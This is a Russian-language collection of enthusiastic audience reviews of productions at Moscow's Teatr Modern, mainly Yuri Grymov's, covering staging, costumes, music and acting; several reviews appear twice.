Очень уважаю Юрия Грымова, бесконечно люблю его творчество и Театр "МОДЕРН", каждый раз ожидая новые постановки с огромным нетерпением. В "Модерне", к сожалению, давно не была, но, к счастью, теперь меня ждет сразу несколько премьер, одна из них - "Веро́ника решает..." Юрия Грымова по роману Пауло Коэльо "Веро́ника решает умереть". Когда-то давно бразильский писатель Пауло Коэльо стал очень популярен в России благодаря своему роману "Алхимик". Для меня все его книги были легким чтивом, но немного безумный и жизнеутверждающий роман "Веро́ника решает умереть" подростку не в самой приятной стадии взросления врезался в память на всю жизнь. По нему снята пара фильмов, один - 2009 года с Сарой Мишель Геллар в главной роли - я смотрела. На мой взгляд, спектакль Юрия Вячеславовича даже больше приближен к нему, чем к роману. Но ни тот ни другой и в сравнение не идут с новым спектаклем в театре "Модерн".

Как превратить поверхностный роман и малоэмоциональный фильм, снятый по нему, в глубокий философский спектакль, заставляющий зрителей плакать от переживаемых эмоций? Только с помощью магии, которой обладает Юрий Грымов, творящий на сцене своего театра поистине чудеса. Он вырезал все пустые, ничего не несущие фрагменты, так называемую "воду", прикрыл всю присутствующую пошлость, изящно подчеркнул волшебство красоты женского тела и влияние любовных чувств на сознание человека, но самое главное, - он сделал акцент на личности героев, прокрался к ним в душу и показал зрителям, что же там, за видимым безумством, какая боль душит героев изнутри, что стало причиной... Не безумная, спрятавшаяся ото всех, а успешная женщина, которая не смогла смириться с предательством супруга. Не сумасшедшая в красном платье, а...а впрочем, смотрите сами. Ведь именно эти истории позволяют нам вспомнить, что все мы люди разные, и проблемы, даже похожие, мы воспринимаем по-разному. И хорошо, если у человека хватает моральных и физических сил пережить горе и не сойти с ума, но чей-то разум и чье-то тело могут быть слишком слабыми, чтобы справиться даже с первой любовью, и это не их вина, а их беда. Тут уже как заложено природой, или Богом...

А действительно, где Бог в те самые моменты, когда с нами случается нечто подобное? И прописано ли наперед, что будет дальше, в силах ли мы изменить течение нашей жизни? Сами ли мы творцы своей судьбы, или есть ли над нами некая всемогущая сила, Бог, высший разум? По крайней мере у Вероники по версии Грымова был свой личный Бог, и роль этого Бога исполнил з.а. России, ведущий актер бывш. Театра им. Романа Виктюка Дмитрий Бозин. Такой нестандартный, очень харизматичный, всегда узнаваемый, он притягивал внимание, царил на сцене в золотом костюме Бога Ра, Бога Солнца. Впрочем, у каждого пациента был свой Бог, то ли от того что этот Бог находился внутри них самих, то ли потому что каждый пациент имеет свое представление о Боге, свою веру во что-то высшее, то ли потому что в стенах клиники Богами для пациентов являются медсестры и медбратья. Я насчитала пятерых: Осириса в исполнении Александра Мирлюнди, Бастет в исполнении Марианны Канивец, Тота в исполнении Александра Колесникова и Шу в исполнении Александра Серикова. Амон-Ра же был личным Богом Вероники, спокойным, мудрым и таким недосягаемо величественным рядом с миниатюрной хрупкой подопечной, маленькой запутавшейся девочкой, которую великолепно сыграла Анастасия Сычева.

Пока я смотрела спектакль, заплакала дважды. Первый раз, когда Веронике исповедовалась Зедка, которую сыграла Жанна Чирва , я помню ее по Театру на Юго-Западе. Столько любви, столько боли, столько искренности в ее героине, и вот уже не кажутся ее переживания глупостью, и Зедку становится так жалко, и так становится тоскливо, что невозможно сдержать слезы. Второй - в финале, когда рядом с Эдуардом, роль которого исполнил Лев Смирнов, и Вероникой появляется седой господин, которого сыграл Александр Борисов , и мы наконец узнаем его историю, и понимаем, что у Вероники с Эдуардом впереди...а впрочем, смотрите сами. Финал у Юрия Грымова получился одновременно и щемящим душу, и светлым, радостным. И удивительно, как практически каждый персонаж запал в душу благодаря чудесной режиссуре и потрясающей актерской игре. И Мари в исполнении Марии Орловой, и Анна - мать Вероники в исполнении Надежды Меньшовой, и родители Эдуарда Стелла и Альберт, которых сыграли з.а. России Любовь Новак и з.а. России Леонид Трегуб, и доктор Игорь, роль которого исполнил Роман Зубрилин, и безумный санитар, которого сыграл Михаил Матыченко, и спящий пациент в образе Папы Римского в исполнении Ильи Янцова. У этого персонажа, кстати, не было ни единого слова, а по окончании спектакля мы застали его в фойе спящим около афиши спектакля. Так что не упустите возможность сделать забавное фото, пока пациента на увел санитар.

Кто был хоть на одном спектакле Юрия Грымова, тот всегда узнает его постановки среди других. У него особенный стиль, иное видение, необычное оформление, прекрасные детальные костюмы, и "Вероника решает..." не исключение. Какие роскошные костюмы Египетских Богов, в них и с гримом актеры выглядели как ожившие египетские статуи. У Юрия Грымова всегда прекрасные и уместные костюмы. Роскошная и в то же время безумная шляпа в виде вороны у Зедки, шляпа невидимки Мари, милые пижамки пациентов, воздушные и нежные платья Вероники, - все гармонично и хочется рассмотреть. Сцена у Грымова всегда темная, и яркие направленные лучи света всегда фокусируют внимание зрителей на главном действии, картинка становится более живой, более экспрессивной. Декораций всегда немного: в центре на подиуме стоит ванна, на потолке - вентиляторы и лампы, меняющие цвет, позади - решетка, за которой иногда появляется звездное небо и отсчитываются оставшиеся Веронике дни. Во втором действии все переворачивается в буквальном смысле с ног на голову, к тому же, появляется тот самый спящий в кресле почти все второе действие пациент, пианино, и периодически вывозят полотно, на котором появляются картины Эдуарда. Будто бы происходящие перемены оживили рутинное течение времени в клинике, перевернув с ног на голову. По крайней мере, именно так я трактовала игру с декорациями.

Вообще, Юрий Вячеславович в своих спектаклях оставляет очень много символов для внимательных зрителей, символов, расширяющих смысловые рамки спектаклей во много раз. Доктор, который проводил эксперимент с купоросом, был очень похож на великого ученого Эйнштейна. Ванна, возможно, она же купель, и вода в ней - очищение, начало всего живого. Использование инвалидных кресел, скорее всего, указывает не на физическую, а на моральную патологию пациентов и матери Вероники, которая, в общем-то, ломала свою дочь. А вот к чему на сцене было присутствие незаметно спящего почти все второе действие пациента в наряде Папы Римского я не поняла. То ли незримое присутствие веры, то ли отсутствие церкви рядом с такими пациентами, то ли напоминание о том, что Бога не надо ждать - надо искать его в себе, то ли это капля юмора, разбавляющая болезненный накал постановки. Еще мне безумно понравился ход с седым господином, членом Братства по книге, которому в спектакле характер изменили на совершенно противоположный, и его любимая песня группы "You're in the army now" проходит через весь спектакль и раскрывается в самом конце. А песня "I put a spell on you" в исполнении Вероники под "Лунную сонату" Бетховена я бы хотела в свой плейлист. Если хотите понять, попробуйте соединить в воображении "Лунную сонату" и песню "I put a spell on you" в исполнении Nina Simone, добавьте туда искренних переполняющих, через край, эмоций...это восторг, я теперь хочу так же научиться ее петь!

И все же, сколько бы я не писала про этот спектакль, слов недостаточно, спектакль Юрия Грымова "Веро́ника решает..." в Театре "МОДЕРН" нужно видеть своими глазами. И если вы читали книгу или смотрели фильм, то вас поразит, насколько мощная получилась постановка. На поклонах было много серебристого конфетти, а потом на сцену вышел сам Юрий Вячеславович. А ведь в Театре сейчас идет несколько премьер прошлого сезона, готовится премьера нового спектакля, долгожданный показ фильма "***** и мир" по спектаклю Театра и готовится новая лекция. Я в предвкушении... А вы?

Ольга Чехова: жизнь, полная превратностей…
Постановка «Ничего, что я Чехоff?» рассказывает о невероятной жизни Ольги Чеховой, одной из самых ярких и сильных женщин XX века.
Немного исторической справки…
Ольга Чехова родилась в 1897 году в Александрополе, ныне Армения.
С юных лет она отличалась красотой, умом и сильным характером. Родители, будучи оседлыми немцами, дали ей превосходное образование.
Ольга владела несколькими языками.
После революции в России Ольга и ее первый супруг, Михаил Чехов, эмигрировали в Германию. В Берлине Ольга начала актерскую карьеру и быстро набрала популярность, покорив зрителей своим талантом и харизмой.
В период Третьего рейха, где царила расовая дискриминация, славянка стала символом красоты и очарования. Ее привлекательность пленила даже высшее нацистское руководство. Геббельс безмерно восхищался ею и, по собственному признанию, был готов исполнить все ее желания.
Не отставали Гитлер и Геринг. Их симпатии к русской красавице бросили тень на догмы нацизма, доказав, что истинная красота может преодолеть любые идеологические барьеры.
Во время Второй мировой ***** судьба Ольги сложилась непросто. Ее благоволил Гитлер, но после ***** ее арестовали сотрудники СМЕРШ и отправили в Москву.
Однако, побыв в СССР, актриса отправилась в Германию.
Вернувшись, Ольга открыла косметическую фирму «Ольга Чехова-Косметик», став успешной бизнес-леди.
Она также продолжала сниматься в кино и поддерживала близкие отношения со своим бывшим мужем, Михаилом Чеховым.
Ольга Чехова была уникальной личностью, сочетавшей в себе красоту, ум, силу характера и стойкость. Она смогла выжить и преуспеть в самых тяжелых обстоятельствах.

Спектакль «Ничего, что я Чехоff?» дает нам ************* повествование о жизни Ольги Чеховой. Актриса Анна Каменкова и Мария Орлова блестяще перевоплощаются в образ Ольги, передавая глубину ее характера и переживаний. Спектакль рассказывает о трудных периодах ее жизни, борьбе, падениях, триумфах и конечно же личной жизни.
Воистину самые лучшие театральные моменты связаны у меня с «Модерном».
В спектакле «Ничего, что я Чехоff?» режиссура и музыкальное сопровождение в авторстве гения Юрия Грымова.
Снова как два пазла сочетаются сильнейшая драматургия и визуальные световые эффекты.
Спектакль отличается своей лаконичностью, тут особая сжатая стилистика оформления.
Ирэна Белоусова - традиционный художник по костюмам в паре с Юрием Вячеславовичем создали общую черно-белую гамму с использованием минимального количества декораций, где яркими пятнами мелькают воздушные шары. Сценический полумрак, как фон, позволяет сосредоточиться на игре актеров и насладиться ею в полной мере.
Самую яркую эмоцию вызывает у меня игра Анны Каменковой в роли Ольги Чеховой.
Заслуженная артистка передает чувства и эмоции героини сквозь монологи.
Она мастерски исполняет сложную судьбу своей героини.
Использование контрастных тонов и яркого света создает иллюзию попадания в черно-белые фильмы, где снимались супруги Чеховы.
Отсутствие ярких цветов позволяет сконцентрироваться на персонажах. Таким образом Юрий Вячеславович подчеркивает трагическую атмосферу спектакля и дает нам достоверное ощущение правды и реальности происходящего.
Самый интересный эффект, который поразил меня на сцене, падающие воздушные шары, которые являются частью атмосферы мечтаний и иллюзий. Лопающиеся как мыльные пузыри на глазах, они подчеркнули разочарование и падение взглядов.
Как выстрелы они отражают военные действия и несбывшиеся надежды.
В отличие от других постановок Грымова, где визуальная составляющая порой превалировала над драматической, в «Ничего, что я Чехоff?» режиссер демонстрирует гармоничный синтез этих двух элементов. Спектакль позволяет зрителю погрузиться в мир четы Чеховых когда-то пусть на короткий срок любивших друг друга.
Мы можем оценить талант актеров, которые играют такие невероятные роли, настолько вживаются в своих исторических персонажей, что происходящее на сцене порой выглядит очень реалистично.
Задача дать зрителю насладиться драматургическим мастерством выполнена Юрием Вячеславовичем на все 💯
Жизнь Ольги Чеховой стала примером женской силы, ума и красоты. Она остается вдохновляющей фигурой для многих, напоминающей о том, что даже в самые трудные времена люди могут выстоять и процветать.

Иуда. Один из интереснейших спектаклей, наполненный загадкой и глубинным смыслом! Великолепная работа режиссура и всей команды ! Декорации и костюмы на высоте!!! И конечно же бесподобна игра актеров!!! Браво 👏🏼👏🏼👏🏼

Иуда. Один из интереснейших спектаклей, наполненный загадкой и глубинным смыслом! Великолепная работа режиссура и всей команды ! Декорации и костюмы на высоте!!! И конечно же бесподобна игра актеров!!! Браво 👏🏼👏🏼👏🏼

Спектакль «Леонардо» продолжает трилогию «Антихрист и Христос»

Именно, в этом спектакле я ясно прочувствовала и проследила для себя посыл противостояния.

Сразу скажу, что мне очень понравился этот спектакль. Это, совершенно, не зависит, что в этом спектакле главную роль исполнял Дмитрий Бозин. Я давно слышал со всех сторон от своих единомышленников восторги от таланта этого артиста. И мне, естественно , хотелось познакомиться с его талантом лично.

В Театре Модерн я уже бывала не раз, поэтому для себя открыла несколько приемов Юрия Грымова на которые он делает акцент при постановке спектаклей, мне это нравится:

Потрясающая музыка
Невероятный красивый свет
Четкий звук
Минимум декораций
Дорогие эксклюзивные костюмы

Музыка: что мне больше всего нравится, музыка идеально подобрана по громкости. Она одновременно и громко, и, совершенно, не напрягает, от неё не болит голова, как бывает во многих театрах. Усиливает акцент восприятия. Идеально .
Свет – это вообще шедеврально. На сцене в спектакле не было вообще никаких декораций, кроме, единственное, что трона и в одной сцене мастерской Леонардо. Во всех же остальных сценах, обстановка сцены создавались путём света. Например, только что ты был на улице и вдруг путём прекрасно поставленного света , попадаешь в колонны зал. А как подсвечивался дым!!!!!
Самая знаменитая фреска Леонардо – это Тайная вечеря!
Совершенно не описать словами, то впечатление , когда с помощью света на сцене из ниоткуда возникает эта фреска. Браво!

Не обойду вниманием звук . Здесь мне звук заставил обратить на него внимание . даже шаги , эхо -все было прекрасно отчетливо слышно. Удивительно.
Все спектакли Юрия Грымова, практически, в тёмных тонах, но сделано так гениально, что совершенно меня это не напрягало. Костюмы. Либо они красивые, либо нет. Это сразу бросается в глаза. Во всех спектаклях костюмы очень богатые и хочется разглядывать их, каждую деталь.

А что же Батин. Конечно же , он притягивал.
Но, я почему-то постоянно внимание обращала на его руки. Он так вжился в образ, что было сразу понятно, что он играет художника.
А какой у него голос!

Ещё в антракте я поняла уже мысль, которую хотела донести режиссёр.:
Гений не может быть плохим или хорошим.
Леонардо много изобрёл и плохого , и хорошего, не разбирая, несёт ли это людям благо или зло., потому что он гений ! гений находится всегда в своем мире, чуть выше над обыденным миром, поэтому воспринимает всё иначе. Возможно ли судить гения, осуждать его?
Да , он и далёк от осуждения и осуждающих.

Стремящиеся к звёздам , не оглядывается.

Ещё важно для меня после спектакля то , что он побудил меня задуматься о Леонардо, я узнала много из спектакля, некоторые моменты его жизни не знала. Да, наверное, про личную жизнь Леонардо я вообще ничего не знала. Мне было интересны его изобретения. Поэтому, ещё и большой плюс данного спектакля, что он побуждает зрителя к определённым действиям. В моем случае, всё-таки изучить личность Леонардо, потому что я и так знаю, что гений - они, в какой-то степени не от мира сего. людям, которые находятся рядом с ними очень тяжело .
А как их судить… непростой сложный вопрос!

Всем очень рекомендую, люблю спектакли, которые оставляют след в моей душе. Заставляют обсуждать происходящее на сцене, а не просто выйти и забыть.
Браво!!!

Смотрела «Ничего, что я Чехов».
В театре Модерн первый раз и меня сразу подкупила атмосфера и очень красиво оформленное пространство.
Такой же для меня оказался и спектакль - красивый и атмосферный. И немного необычный. Необычный тем, что у него какой-то свой почерк.
История совсем не про Чехова, как я думала. А про Ольгу Чехову. Ольга Чехова- это жена племянника известного нам Антона Павловича Чехова. Муж ее- Михаил, был актером МХАТ. Там он и познакомился со своей будущей женой Ольгой.
А Ольга впоследствии, эмигрировав из России, была любимой актрисой Гитлера.
Поэтому не удивляйтесь , когда увидите в спектакле и других исторических персонажей. Это всего лишь хитросплетения судеб и жизненных пересечений героев с фамилией Чехов. Не хочется спойлерить, скажу одно. Вас ждет интересная история и такая же интересная постановка и театр. Актеры произвели на меня сильное впечатление своей игрой. Я бы посмотрела в этом театре со своим почерком что-нибудь еще.

Смотрела «Ничего, что я Чехов».
В театре Модерн первый раз и меня сразу подкупила атмосфера и очень красиво оформленное пространство.
Такой же для меня оказался и спектакль - красивый и атмосферный. И немного необычный. Необычный тем, что у него какой-то свой почерк.
История совсем не про Чехова, как я думала. А про Ольгу Чехову. Ольга Чехова- это жена племянника известного нам Антона Павловича Чехова. Муж ее- Михаил, был актером МХАТ. Там он и познакомился со своей будущей женой Ольгой.
А Ольга впоследствии, эмигрировав из России, была любимой актрисой Гитлера.
Поэтому не удивляйтесь , когда увидите в спектакле и других исторических персонажей. Это всего лишь хитросплетения судеб и жизненных пересечений героев с фамилией Чехов. Не хочется спойлерить, скажу одно. Вас ждет интересная история и такая же интересная постановка и театр. Актеры произвели на меня сильное впечатление своей игрой. Я бы посмотрела в этом театре со своим почерком что-нибудь еще.

Спектакль “Петр I” в Театре Модерн — это настоящее зрелище, которое оставляет неизгладимый след в душе. Постановка Юрия Грымова переносит нас в эпоху правления Петра I, позволяя увидеть исторические события глазами современного человека.
С самого начала спектакля зритель погружается в атмосферу того времени благодаря великолепным костюмам и декорациям. Каждая деталь продумана до мелочей, что позволяет полностью погрузиться в происходящее на сцене. Музыкальное сопровождение также заслуживает отдельного внимания - оно идеально дополняет общую картину и создает неповторимую атмосферу.
Особенно хочется отметить игру актеров. Юрий Анпилогов в роли Петра I просто великолепен. Его игра передает всю сложность и многогранность личности императора, заставляя зрителя сопереживать и задумываться о вечных вопросах власти, любви и предательства.
Спектакль “Петр I” — это не просто историческая постановка, это настоящее произведение искусства, которое заставляет задуматься о многом.

Страсти по Торчалову - увидев этот спектакль один раз ,ты не забудешь его никогда !
В нём идеально абсолютно всё !
Спектакль пробирающий до глубины души! Спектакль который можно пересматривать не один раз и каждый раз будут всплывать новые аспекты! Прекрасная игра актеров и режиссерская работа!!! В этом спектакле по настоящему чувствуется душа!!!! Браво👏🏼Браво👏🏼Браво👏🏼

Страсти по Торчалову - увидев этот спектакль один раз ,ты не забудешь его никогда !
В нём идеально абсолютно всё !
Спектакль пробирающий до глубины души! Спектакль который можно пересматривать не один раз и каждый раз будут всплывать новые аспекты! Прекрасная игра актеров и режиссерская работа!!! В этом спектакле по настоящему чувствуется душа!!!! Браво👏🏼Браво👏🏼Браво👏🏼

Страсти по Торчалову - МИР НУЖДАЕТСЯ В ТАКИХ СПЕКТАКЛЯХ !
Спектакль который разбил мне сердце и кардинально достучался до моей души !
Спектакль, которому я бы отдала все призы и награды !
Спектакль,который не отпускал ни на минуту ,от начала, до самой последней сцены !
Один из самых глубоких и цепляющих спектаклей !
Для такого спектакля даже оценочная система будет не приемлема ,но моя душа поставила бы ему 10 из 10 !!!
Если вы умеете ЧУВСТВОВАТЬ,обязательно посмотрите этот спектакль !
Сильнейший !
Шамиль Мухамедов - режиссёр этого шедевра !
СПАСИБО И БЕСКОНЕЧНОЕ БРАВО !

Страсти по Торчалову - МИР НУЖДАЕТСЯ В ТАКИХ СПЕКТАКЛЯХ !
Спектакль который разбил мне сердце и кардинально достучался до моей души !
Спектакль, которому я бы отдала все призы и награды !
Спектакль,который не отпускал ни на минуту ,от начала, до самой последней сцены !
Один из самых глубоких и цепляющих спектаклей !
Для такого спектакля даже оценочная система будет не приемлема ,но моя душа поставила бы ему 10 из 10 !!!
Если вы умеете ЧУВСТВОВАТЬ,обязательно посмотрите этот спектакль !
Сильнейший !
Шамиль Мухамедов - режиссёр этого шедевра !
СПАСИБО И БЕСКОНЕЧНОЕ БРАВО !

Спасибо театру "Модерн" за поэтический спектакль "Ахматова и Маяковский: встреча, которой не было". На сцене - всего два актера и камерный оркестр "Виртуозы Москвы".
Юрий Анпилогов – один из лучших актеров театра «Модерн», обладатель различных премий, и к тому же еще и официальный голос Владимира Маяковского в Музее поэта. Я уже видела Юрия в главной роли в спектакле «Человек с глазами Моцарта», и он произвел на меня сильное впечатление.

А Юлия Авшарова – актриса Театра на Покровке и театральный педагог, удивительно похожая внешне на Анну Ахматову. Именно она играла Ахматову в недавнем сериале «Раневская». К тому же именно Юлия – автор этой инсценировки.
И вот эти два актера встречаются на сцене один на один, если не считать оркестра на заднем плане. У каждого из них свое кресло на разных сторонах сцены. Когда они сидят, утопают в полумраке. Вставая, попадают в круг яркого света. Получается такой диалог-контрапункт, состоящий из двух монологов. Это как две вселенных, не пересекающихся, но отражающихся друг в друге. Строгий, изящный, акцентированный на тончайших, почти незаметных, но чрезвычайно выразительных деталях мир Ахматовой. И громогласный, взрывной, масштабный, плакатный мир Маяковского. Трудно представить себе более непохожих друг на друга людей - и поэтов.
Но из диалога прочитанных актерами стихотворений, из сочетания их с музыкой - рождается новое единство. Та самая "встреча, которой не было". Смотришь и слушаешь с наслаждением, и кажется, что постановка слишком быстро заканчивается, хотя по времени все стандартно.
Спасибо театру, актерам и музыкантам оркестра за полученное удовольствие!

«Ахматова и Маяковский: встреча, которой не было» - литературно-музыкальный баттл, в котором под аккомпанемент «Виртуозов Москвы» сошлись два полюса русской поэзии нашей переломной многострадальной эпохи 20-30-х годов XX века.
Революционер Маяковский мыслит широко, пишет не стесняясь крепких слов, разносит в щепки рамки приличий. Долой старый мир, старый слог, мы строим новое светлое будущее - гигантское, безграничное, космических масштабов.
У меня в душе ни одного седого волоса,
и старческой нежности нет в ней!
Мир огро́мив мощью голоса,
иду — красивый,
двадцатидвухлетний.
Для Ахматовой же нет грома мировых революций и рушащихся эпох. Ее мир внутри, ее Россия все еще с Богом, ее стихи остаются тихими и размеренными.
Дай мне горькие годы недуга,
Задыханья, бессонницу, жар,
Отыми и ребенка, и друга,
И таинственный песенный дар
— Так молюсь за Твоей литургией
После стольких томительных дней, Чтобы туча над темной Россией
Стала облаком в славе лучей.
Маяковский (Юрий Анпилогов) и Ахматова (Юлия Авшарова) читают свои стихи, увлекая зрителей в такие разные внутренние миры. Из огня революций в тихий мир русской патриархальной России. Из грома эмоций в тишь переживаний неразделенной любви.
Чуковский в своей статье «Ахматова и Маяковский» писал:
«Трудно представить себе двух человек, столь непохожих один на другого, как Ахматова и Маяковский. Тут не случайное различие двух — плохих или хороших — поэтов, тут две мировые стихии, два воплощения грандиозных исторических сил, — и пусть каждый по-своему решает, к которому из этих полюсов примкнуть, какой отвергнуть и какой любить».
Вот мы и решали, а в перерывах между стихами и рассказами поэтов о творчестве друг друга, а порой и вместе со стихами, звучала музыка в исполнении замечательного симфонического оркестра «Виртуозы Москвы» под управлением дирижёра Джереми Уолкера (Великобритания).
Спектакль длился всего 1,5 часа, но как и всегда после посещения театра «Модерн» хочется пойти дальше: читать Ахматову и Маяковского, статью Чуковского об их творчестве, чтобы через образы этих поэтов понять чем жила наша страна. Спасибо актерам и музыкантам за этот вечер, мы остались под впечатлением.

Невозможно найти более прекрасное сочетание, чем сочетание поэзии и музыки. Под воздействием волшебной музыки рождаются стихи, поэтические строки вдохновляет композиторов. Содружество поэзии и музыки – чудесный путь движения поэзии навстречу людям. Когда музыкальные произведения звучат в исполнении знаменитого оркестра "Виртуозы Москвы", а стихотворения преподносят нам такие прекрасные актеры, как Юлия Авшарова и Юрий Анпилогов, то и музыка и поэзия, сплетаясь в яркий венок, насквозь пронизывают душу.
В театре Модерн состоялся великолепный литературно-музыкальный спектакль "Ахматова и Маяковский: встреча, которой не было". Наверное невозможно найти более противоположных поэтов, чем Ахматова и Маяковский. Удивительно, но крик Маяковского и шёпот Ахматовой рождались в одно время и в одной стране, поэты ходили по одним улицам, и кажется, что должны были обязательно встретиться, но, по причуде судьбы, они никогда не встречались.
Именно на противопоставлении творчества этих двух великих поэтов и основан спектакль.
Маяковский это сочетание грубости и лиризма, языка улицы и плаката, это особый ритм и графическая организация стиха. Его поэзия наполнена насмешками и фамильярностью. Маяковский использует простые, оригинальные слова, ранее не применяемые поэтами. Но за внешней бравадой автор скрывает одиночество, уязвимость, чуткость и боль. Поэт хочет любить, понимать и быть понятным.
Ахматова. В ее поэзии звучит тонкий задушевный голос автора, ее творчество переполнено глубиной и красотой чувств. В отточенной художественной форме Ахматова отражала малейшие движения души, каждая ахматовская строка наполнена трагическим лиризмом, в котором трагическая тема и трагический характер рождают целую радугу эмоционально-образных красок. В поэзии Ахматовой ощущаются движение, нарастание, недомолвка и растерянность.
Поэтический стиль Маяковского кардинально отличался от традиционных, классических форм. Он возник ниоткуда не имея предшественников. Ахматова наследует традиции великой русской поэзии, она стоит на плечах Пушкина, Баратынского, Фета.
И мы, пришедшие в этот вечер в театр Модерн, погрузились в то ли спор, то ли диалог двух поэтов. А прекрасная музыка Чайковского, Прокофьева, Шостаковича и Рахманинова говорила нам то, что невозможно сказать словами. Камерным оркестром "Виртуозы Москвы" дирижировал харизматичный Джереми Уолкер. И у этого спектакля был только один недостаток - он слишком быстро закончился.

Думали, как скрасить вечер с подругой и решили пойти в театр. Выбор пал на «Модерн». Спектакль «Цветы нам не нужны» оказался, просто, фантастика!
Выступить Господом Богом и судить, либо стать жертвой,- эта мысль возникает, когда будто сам являешься участником событий на сцене. Но удобные кресла вовремя подсказывают, что ты - всего-лишь наблюдатель и приглашение участвовать в шабаше- гениальная работа мастера. Так искусно соблазняя на осуждение: око за око…зуб за зуб. И эти красные факелы в руках актеров в постановке, будто провоцируют на то, что, люди страдали. Но мы то знаем, что мир совершенен, это у нас не всегда хватает понимания причин. Ведь, никакой тьме не заслонить свет. У каждого есть выбор. Но Грымов, будто несколько раз за спектакль спрашивает: «Ну что, дружок, кинешь камень?» Но журчание в животе вовремя дает о себе знать и я вспомню о игристом и вкусных тарталетках в баре. Камень оставила при себе
Спектакль огонь! ❤️

Просто огненная, яркая и трогательная Комедия!
Спектакль, где принципы жизни каждого члена семьи, разделены не только разными странами, но и совершенно иным пониманием этой жизни и ценностями в ней. Снова высветился конфликт отцов и детей, родители всегда же знают, как надо жить детям))) Но, есть то общее, что всё же их объединяет и делает счастливыми – это любовь, прошлое и трогательное настоящее с юмором.
В сюжете, раскрываются непростые взаимоотношения между «молодыми» членами семьи, которые переехали в Америку и их родителями, приехавшими к ним в гости из России.
Уже в самом начале спектакля стало понятно, что все герои этой ошеломляющей Комедии персонажи из компьютерной игры. Америка, как образ свободы и вседозволенности, обрастает в спектакле иллюзиями, увлекательным сном, в котором можно встретить Кинг-Конга и не только. Ожившие на сцене декорации Нью-Йорка с его небоскрёбами и горящими окнами, так и манят зрителя к себе. Простой и понятный всем юмор с первых сцен, сразу цепляет. А наши люди, как обычно нигде не пропадут!
Но, не смотря на споры и разногласия, в этой семье, приятных и трогательных воспоминаний оказалось намного больше! Тут, сразу проводишь аналогию со своей семьёй, семьями друзей, мысленно всем всё прощаешь, обнимаешь и нежно улыбаешься)
В спектакле объединилось всё. Тут вам и Куба и Че Гевра, Леди Гага и марихуана, танцы и многое другое. В каждой сцене динамика и креатив, а в некоторых применялся эффект стоп-кадра, это прям, так классно смотрелось. Весь этот режиссёрский микс, в соединении с юмором, дал яркую и задорную картинку, где русская культура смешалась с бытом уже закоренелых американцев.
актёры играли, как один единый механизм, действительно, как целая семья. Сцена с марихуаной была просто бомбической! Игра Александра Борисова (Нотан) и Валерии Коралёвой (Маргарита) галлюциногенных видений, просто огонь.
Музыкальное сопровождение спектакля, как всегда вкусно сделано. Много рок-музыки, и песня «Вечная весна» В.Обоздинского, бросила меня в ностальгические воспоминания, а чудный голос Уитни Хьюстон, вернул в мои 2000-е.
Из костюмов отмечу футболку Нотана с изображением Дональда Трампа и его привлекательной причёски. Теперь, я хочу такую)))
Такое ощущение, что сходил на семейную психотерапию) Добрая, теплая комедия, в которой семья остаётся цельной и главной! Тут отдыхаешь и расслабляешься от всех забот, которые остались за стенами театра. Спектакль очень классный, обязательно сходить!)

Сегодня по-прогнозу ожидался шторм, но когда занавес закрылся на улице нас ждал лишь теплый ветер. Перед просмотром спектакля «Москвичи» мы с подругой думали: идти или нет…риск попасть под дождь и замерзнуть не очень привлекал. Но решили рискнуть и не прогадали! Ведь работа Грымова, говоря простым языком F*CKING AWESOME! Где искать ответ: как правильно жить? Страх поражает фобии и подобие жизни. Кто мы? На этот вопрос знает ответ мастер) ❤️ рекомендую к просмотру

Сегодня по-прогнозу ожидался шторм, но когда занавес закрылся на улице нас ждал лишь теплый ветер. Перед просмотром мы с подругой думали: идти или нет…риск попасть под дождь и замерзнуть не очень привлекал. Но решили рискнуть и не прогадали! Ведь работа Грымова, говоря простым языком F*CKING AWESOME! Где искать ответ: как правильно жить? Страх поражает фобии и подобие жизни. Кто мы? На этот вопрос знает ответ мастер) ❤️ рекомендую к просмотру

Спектакль «Неформат» Михаила Барщевского
1го апреля я побывала в Театре Модерн, но в этот раз не на спектакле этого театра, а на постановке Михаила Барщевского. «Неформат» — очень необычное зрелище, не то спектакль, не то репетиция, а временами и лекция по юриспруденции.
Что я знала о Михаиле Барщевском до этого спектакля — полномочный представитель Правительства Российской Федерации в высших судебных инстанциях, заведующий кафедрой юриспруденции в Университете Правительства Москвы, доктор юридических наук, заслуженный юрист Российской Федерации, ну и конечно участник передачи «Что? Где? Когда?». Но оказывается, что он, помимо работы на юридическом поприще, пишет пьесы.
Одна линия действия — взаимоотношения соседей, в которой участвуют Ирина Александровна (Евдокия Германова) и Михаил (Кирилл Клименко). Увлекательные пикировки на разные темы — тут и про любовь, и про *****, и про семью. А с учетом, что у героев большая разница в возрасте, рассуждения иногда полностью противоположные.
Но когда в действие вмешиваются сам Михаил Юрьевич и Денис Юченков, становится понятно, что мы следим за репетицией спектакля. Самое яркое впечатление произвело появление уборщицы Зухры в исполнении Яны Прыжанковой, она просто прекрасна! Удивительно вмешивается в режиссерско-репетиционный процесс да и в лекционную часть тоже.
А когда на сцене появляется Говорящий гость Гарик Сукачев — разговор становится ещё интереснее, вот с его мнением, что детей пороть надо, тогда что-то толковое получается, временами хочется согласиться.
Очень рада была побывать на таком удивительном неформатном спектакле, где невозможно выделить, кто из действующих лиц понравился больше. Только про появление Говорящего гостя у меня замечание к спектаклю — Игоря Ивановича хотелось бы слушать побольше, мне показалось маловато)

Недавно в театре «Модерн» прошла премьерная постановка «Страсти по Торчалову». Молодой режиссёр-постановщик Шамиль Мухамедов показал нам трагикомедию на пьесу драматурга Никиты Воронова, написанную им в сложный и переломный для нашей страны период - 90-е годы.
Смена власти и режима отразилась не только в настроении людей, но и в искусстве. Люди, оказались «выбитыми из седла», многие не могли определиться с дальнейшей судьбой и жизнью, кто-то стоял на перепутье, некоторые и вовсе оказались на обочине жизни. Влияние смутного времени, безусловно, сказалось на основной идее пьесы. Главный вопрос, волнующий не одно поколение вновь остро стоит в постановке: на сколько ценна жизнь человека и можно ли остаться незамеченным для высших сил, совершая под час обыденные, незаметные для себя самого поступки, которым в обычной жизни мы не придаём значения, а для судьбы играющие весомую роль. Место, где происходит основное действие совершенно уникальное. Это и не ад, и не рай, это вокзал ожидания. Ожидания и мыслей, самокопания, а также совместного проживания в обстановке строгого режима, контроля и давления. Тягостный вокзал ожидания с трамваем, курсирующему по кругу, с надзирателями, своими особыми правилами и талонами, а также весьма своеобразными обывателями. Вокзал-общежитие с залом ожидания, где человек мотается в самокопании между миром жизни и конечной точкой бытия. Любой, кто попадает на данную станцию обязан вспомнить и признать свой самый ужасный грех, порой остающийся за человеком незамеченным. Однако явно совершенный им в жизни, а всевидящее око, держит всё под контролем и ведёт чёткий учёт.
